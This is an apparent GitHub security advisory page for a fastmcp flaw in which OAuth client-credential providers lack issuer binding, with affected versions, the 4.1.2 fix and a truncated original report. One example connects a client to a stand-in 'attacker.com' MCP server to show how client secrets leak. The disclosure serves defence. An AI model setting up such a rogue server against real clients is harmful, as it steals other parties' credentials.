AI and data stack advisories

Severe, 6 weeks533Projects324

533 severe, 6 weeks · 324 projects

fastmcpGHSA-vqqp-x5qm-5qp4

fastmcp: improper authentication

fastmcp

Published Oct 23, 2026

Medium5.9
Fix: upgrade to 4.1.2 or later
GitHub advisory

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone...

Affected versions

PackageAffectedFixed in
fastmcp
PyPI
>= 4.0.0a1, < 4.1.24.1.2
Details and references

## Maintainer assessment and remediation This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy. Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them. The 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact. **Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2. ```python from fastmcp.client.auth import ClientCredentialsOAuthProvider auth = ClientCredentialsOAuthProvider( client_id="my-client-id", client_secret="my-client-secret", issuer="https://auth.example.com", ) ``` ## Original report ### Summary fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer. ### Details When fastmcp connects to an MCP server with OAuth client credentials: 1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...) 2. Provider binds to server URL and discovers OAuth metadata 3. Client exchanges credentials at the token endpoint 4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises 5. Attack: attacker-controlled MCP server advertises attacker's authorization server 6. Result: client secret leaked to attacker Affected code: - fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider) * __init__ signature has no issuer= parameter * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer= - fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider) * __init__ signature has no issuer= parameter * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer= The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it. Example vulnerable usage: ```python auth = ClientCredentialsOAuthProvider( client_id="my-client-id", client_secret="my-client-secret", ) async with Client("https://attacker.com/mcp", auth=auth) as client: # Client credentials get sent to attacker's auth server if attacker's MCP # server advertises it in RFC 9728 metadata await client.list_tools() ``` ### Proof of concept 1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OA

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-287, CWE-522

More fastmcp advisories

All fastmcp